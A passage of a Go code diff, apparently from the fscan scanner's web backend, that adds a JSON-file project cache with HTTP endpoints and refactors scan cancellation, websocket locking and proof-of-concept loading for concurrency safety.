`json:"ports"` // "IP:Port" → 最后发现时间戳(unix) + Results []ResultItem `json:"results"` // 历史结果(合并去重) + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} + +// ProjectStore 项目存储管理 +type ProjectStore struct { + mu sync.RWMutex + projects map[string]*ProjectCache + dir string +} + +var globalProjectStore *ProjectStore + +func init() { + home, _ := os.UserHomeDir() + dir := filepath.Join(home, ".fscan", "projects") + globalProjectStore = &ProjectStore{ + projects: make(map[string]*ProjectCache), + dir: dir, + } + globalProjectStore.loadAll() +} + +// loadAll 从磁盘加载所有项目 +func (ps *ProjectStore) loadAll() { + _ = os.MkdirAll(ps.dir, 0750) + entries, err := os.ReadDir(ps.dir) + if err != nil { + return + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(e.Name(), ".json") { + continue + } + data, err := os.ReadFile(filepath.Join(ps.dir, e.Name())) + if err != nil { + continue + } + var p ProjectCache + if json.Unmarshal(data, &p) == nil && p.ID != "" { + ps.projects[p.ID] = &p + } + } +} + +// save 持久化单个项目 +func (ps *ProjectStore) save(p *ProjectCache) error { + _ = os.MkdirAll(ps.dir, 0750) + data, err := json.MarshalIndent(p, "", " ") + if err != nil { + return err + } + return os.WriteFile(filepath.Join(ps.dir, p.ID+".json"), data, 0640) +} + +// Get 获取项目 +func (ps *ProjectStore) Get(id string) *ProjectCache { + ps.mu.RLock() + defer ps.mu.RUnlock() + return ps.projects[id] +} + +// List 列出所有项目 +func (ps *ProjectStore) List() []*ProjectCache { + ps.mu.RLock() + defer ps.mu.RUnlock() + list := make([]*ProjectCache, 0, len(ps.projects)) + for _, p := range ps.projects { + list = append(list, p) + } + return list +} + +// Create 创建项目 +func (ps *ProjectStore) Create(name string) (*ProjectCache, error) { + ps.mu.Lock() + defer ps.mu.Unlock() + + id := genID() + p := &ProjectCache{ + ID: id, + Name: name, + Hosts: make(map[string]int64), + Ports: make(map[string]int64), + Results: make([]ResultItem, 0), + CreatedAt: time.Now(), + UpdatedAt: time.Now(), + } + if err := ps.save(p); err != nil { + return nil, err + } + ps.projects[id] = p + return p, nil +} + +// Delete 删除项目 +func (ps *ProjectStore) Delete(id string) error { + ps.mu.Lock() + defer ps.mu.Unlock() + delete(ps.projects, id) + return os.Remove(filepath.Join(ps.dir, id+".json")) +} + +// MergeResults 将扫描结果合并进项目缓存 +func (ps *ProjectStore) MergeResults(id string, items []ResultItem) error { + ps.mu.Lock() + defer ps.mu.Unlock() + + p, ok := ps.projects[id] + if !ok { + return fmt.Errorf("project not found: %s", id) + } + + now := time.Now().Unix() + + // 构建已有结果的去重集合 + seen := make(map[string]bool, len(p.Results)) + for _, r := range p.Results { + seen[resultKey(r)] = true + } + + for _, item := range items { + // 更新资产缓存 + switch strings.ToLower(item.Type) { + case "host": + if item.Target != "" { + p.Hosts[item.Target] = now + } + case "port", "service": + if item.Target != "" { + p.Ports[item.Target] = now + // 提取 host 部分也记入 Hosts + if host := extractHost(item.Target); host != "" { + p.Hosts[host] = now + } + } + } + + // 合并去重 + key := resultKey(item) + if !seen[key] { + seen[key] = true + p.Results = append(p.Results, item) + } + } + + p.UpdatedAt = time.Now() + return ps.save(p) +} + +// CachedHostPorts 返回缓存的 host:port 列表(供注入扫描) +func (ps *ProjectStore) CachedHostPorts(id string) []string { + ps.mu.RLock() + defer ps.mu.RUnlock() + + p, ok := ps.projects[id] + if !ok { + return nil + } + result := make([]string, 0, len(p.Ports)) + for hp := range p.Ports { + result = append(result, hp) + } + return result +} + +func resultKey(r ResultItem) string { + return fmt.Sprintf("%s|%s|%s", r.Type, r.Target, r.Status) +} + +func genID() string { + b := make([]byte, 8) + _, _ = rand.Read(b) + return fmt.Sprintf("%x", b) +} + +// ─── HTTP Handlers ────────────────────────────────────────────────────────── + +type ProjectHandler struct { + store *ProjectStore +} + +func NewProjectHandler() *ProjectHandler { + return &ProjectHandler{store: globalProjectStore} +} + +// List 列出所有项目 +func (h *ProjectHandler) List(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + writeJSON(w, http.StatusOK, h.store.List()) +} + +// Create 创建项目 +func (h *ProjectHandler) Create(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + var req struct { + Name string `json:"name"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Name == "" { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "name is required"}) + return + } + p, err := h.store.Create(req.Name) + if err != nil { + writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) + return + } + writeJSON(w, http.StatusOK, p) +} + +// Get 获取项目详情 +func (h *ProjectHandler) Get(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + id := r.URL.Query().Get("id") + p := h.store.Get(id) + if p == nil { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) + return + } + writeJSON(w, http.StatusOK, p) +} + +// Delete 删除项目 +func (h *ProjectHandler) Delete(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + var req struct { + ID string `json:"id"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.ID == "" { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "id is required"}) + return + } + if err := h.store.Delete(req.ID); err != nil { + writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) + return + } + writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"}) +} + +// Cache 查看项目缓存摘要 +func (h *ProjectHandler) Cache(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + id := r.URL.Query().Get("id") + p := h.store.Get(id) + if p == nil { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) + return + } + writeJSON(w, http.StatusOK, map[string]interface{}{ + "hosts": len(p.Hosts), + "ports": len(p.Ports), + "results": len(p.Results), + "cached_ports": h.store.CachedHostPorts(id), + }) +} diff --git a/web/api/router.go b/web/api/router.go index f32a4d0..b2cc0d5 100644 --- a/web/api/router.go +++ b/web/api/router.go @@ -27,6 +27,14 @@ func RegisterRoutes(mux *http.ServeMux, hub *ws.Hub) { mux.HandleFunc("/api/config/presets", configHandler.Presets) mux.HandleFunc("/api/config/plugins", configHandler.Plugins) + // 项目缓存 + projectHandler := NewProjectHandler() + mux.HandleFunc("/api/projects", projectHandler.List) + mux.HandleFunc("/api/projects/create", projectHandler.Create) + mux.HandleFunc("/api/projects/get", projectHandler.Get) + mux.HandleFunc("/api/projects/delete", projectHandler.Delete) + mux.HandleFunc("/api/projects/cache", projectHandler.Cache) + // 系统信息 mux.HandleFunc("/api/system/info", systemInfo) mux.HandleFunc("/api/health", healthCheck) diff --git a/web/api/scan.go b/web/api/scan.go index 1b50f73..6ed4f64 100644 --- a/web/api/scan.go +++ b/web/api/scan.go @@ -3,6 +3,7 @@ package api import ( + "context" "encoding/json" "net/http" "sync" @@ -50,6 +51,9 @@ type ScanRequest struct { PocName string `json:"poc_name"` PocFull bool `json:"poc_full"` DisablePoc bool `json:"disable_poc"` + + // 项目缓存 + ProjectID string `json:"project_id,omitempty"` } // ScanStatus 扫描状态响应 @@ -73,7 +77,7 @@ type ScanHandler struct { hub *ws.Hub state int32 startTime time.Time - stopChan chan struct{} + cancelFn context.CancelFunc mu sync.RWMutex results *ResultStore } @@ -122,7 +126,6 @@ func (h *ScanHandler) Start(w http.ResponseWriter, r *http.Request) { h.mu.Lock() h.startTime = time.Now() - h.stopChan = make(chan struct{}) h.mu.Unlock() // 清空旧结果 @@ -145,8 +148,18 @@ func (h *ScanHandler) Start(w http.ResponseWriter, r *http.Request) { // runScan 执行扫描 func (h *ScanHandler) runScan(req ScanRequest) { + ctx, cancel := context.WithCancel(context.Background()) + + h.mu.Lock() + h.cancelFn = cancel + h.mu.Unlock() + defer func() { - common.ClearResultCallback() // 清除回调 + cancel() + h.mu.Lock() + h.cancelFn = nil + h.mu.Unlock() + common.ClearResultCallback() atomic.StoreInt32(&h.state, int32(ScanStateIdle)) h.hub.Broadcast(ws.MsgScanCompleted, map[string]interface{}{ "duration": time.Since(h.startTime).Seconds(), @@ -172,7 +185,7 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.ScanMode = "all" } fv.ThreadNum = req.ThreadNum - if fv.ThreadNum == 0 { + if fv.ThreadNum <= 0 { fv.ThreadNum = 600 } fv.TimeoutSec = int64(req.Timeout) @@ -180,7 +193,7 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.TimeoutSec = 3 } fv.ModuleThreadNum = req.ModuleThreadNum - if fv.ModuleThreadNum == 0 { + if fv.ModuleThreadNum <= 0 { fv.ModuleThreadNum = 20 } fv.DisablePing = req.DisablePing @@ -196,9 +209,21 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.DisableSave = true // Web模式不保存到文件 fv.Silent = true // 静默模式 - // 构建Config + // 构建Config和Session config := common.BuildConfigFromFlags(fv) state := common.NewState() + session := common.NewScanSession(config, state, fv) + + // 过渡桥:全局状态同步(待 Phase 5 移除) + common.SetGlobalConfig(config) + common.SetGlobalState(state) + + // 项目缓存注入:把已知的 host:port 加入扫描目标 + if req.ProjectID != "" { + if cached := globalProjectStore.CachedHostPorts(req.ProjectID); len(cached) > 0 { + state.SetHostPorts(cached) + } + } // 设置WebSocket结果回调 common.SetResultCallback(func(result interface{}) { @@ -209,7 +234,15 @@ func (h *ScanHandler) runScan(req ScanRequest) { }) // 执行扫描 - core.RunScan(info, config, state) + core.RunScan(ctx, info, session) + + // 项目缓存回写:合并本次扫描结果 + if req.ProjectID != "" { + items := h.results.List() + if len(items) > 0 { + _ = globalProjectStore.MergeResults(req.ProjectID, items) + } + } } // Stop 停止扫描 @@ -229,8 +262,8 @@ func (h *ScanHandler) Stop(w http.ResponseWriter, r *http.Request) { atomic.StoreInt32(&h.state, int32(ScanStateStopping)) h.mu.Lock() - if h.stopChan != nil { - close(h.stopChan) + if h.cancelFn != nil { + h.cancelFn() } h.mu.Unlock() diff --git a/web/ws/hub.go b/web/ws/hub.go index ad6275b..d68adb6 100644 --- a/web/ws/hub.go +++ b/web/ws/hub.go @@ -97,7 +97,7 @@ func (h *Hub) Run() { h.mu.Unlock() case message := <-h.broadcast: - h.mu.RLock() + h.mu.Lock() for client := range h.clients { select { case client.send <- message: @@ -106,7 +106,7 @@ func (h *Hub) Run() { delete(h.clients, client) } } - h.mu.RUnlock() + h.mu.Unlock() } } } diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 308c0a4..8235738 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -12,6 +12,7 @@ import ( "strconv" "strings" "sync" + "sync/atomic" "time" "github.com/google/cel-go/cel" @@ -31,18 +32,13 @@ var ( baseProgramOpt []cel.ProgramOption ) -// 包级POC配置 -var ( - pocConfigOnce sync.Once - pocDNSLog bool // DNSLog配置缓存 -) +// 包级POC配置(atomic 保证并发安全) +var pocDNSLog atomic.Bool -// InitPOCConfig 初始化POC配置(在扫描开始前调用一次) +// InitPOCConfig 初始化POC配置(在扫描开始前调用) // 这样CEL回调函数可以使用包级变量而非GetGlobalConfig func InitPOCConfig(dnsLog bool) { - pocConfigOnce.Do(func() { - pocDNSLog = dnsLog - }) + pocDNSLog.Store(dnsLog) } // NewEnv 创建一个新的 CEL 环境(使用缓存避免重复注册函数) @@ -352,7 +348,7 @@ func randomString(n int) string { // 使用包级pocDNSLog变量,由InitPOCConfig初始化 func reverseCheck(r *Reverse, timeout int64) bool { // 检查必要条件(使用包级配置变量) - if ceyeAPI == "" || r.Domain == "" || !pocDNSLog { + if ceyeAPI == "" || r.Domain == "" || !pocDNSLog.Load() { return false } diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 25f695f..1089c7a 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -40,21 +40,27 @@ var ( //go:embed pocs var pocsFS embed.FS var ( - once sync.Once - allPocs []*lib.Poc - cachedPocPath string // 缓存POC路径,用于initPocs + pocMu sync.Mutex + pocLoaded bool + allPocs []*lib.Poc + cachedPocPath string ) // WebScan 执行Web漏洞扫描 -func WebScan(info *common.HostInfo, cfg *common.Config) { +func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { // 初始化POC配置(用于CEL回调函数) lib.InitPOCConfig(cfg.DNSLog) - // 缓存POC路径供initPocs使用 - cachedPocPath = cfg.POC.PocPath - - // 初始化POC - once.Do(initPocs) + // 加载POC(互斥保护,避免并发 race) + pocMu.Lock() + if !pocLoaded { + cachedPocPath = cfg.POC.PocPath + initPocs() + if len(allPocs) > 0 { + pocLoaded = true + } + } + pocMu.Unlock() // 验证输入 if info == nil { @@ -74,9 +80,12 @@ func WebScan(info *common.HostInfo, cfg *common.Config) { return } - // 使用带超时的上下文 - ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) - defer cancel() + // 超时兜底:如果调用方 ctx 没有 deadline,加一个默认超时 + if _, hasDeadline := ctx.Deadline(); !hasDeadline { + var cancel context.CancelFunc + ctx, cancel = context.WithTimeout(ctx, defaultTimeout) + defer cancel() + } // 根据扫描策略执行POC if cfg.POC.PocName == "" && len(info.Info) == 0 {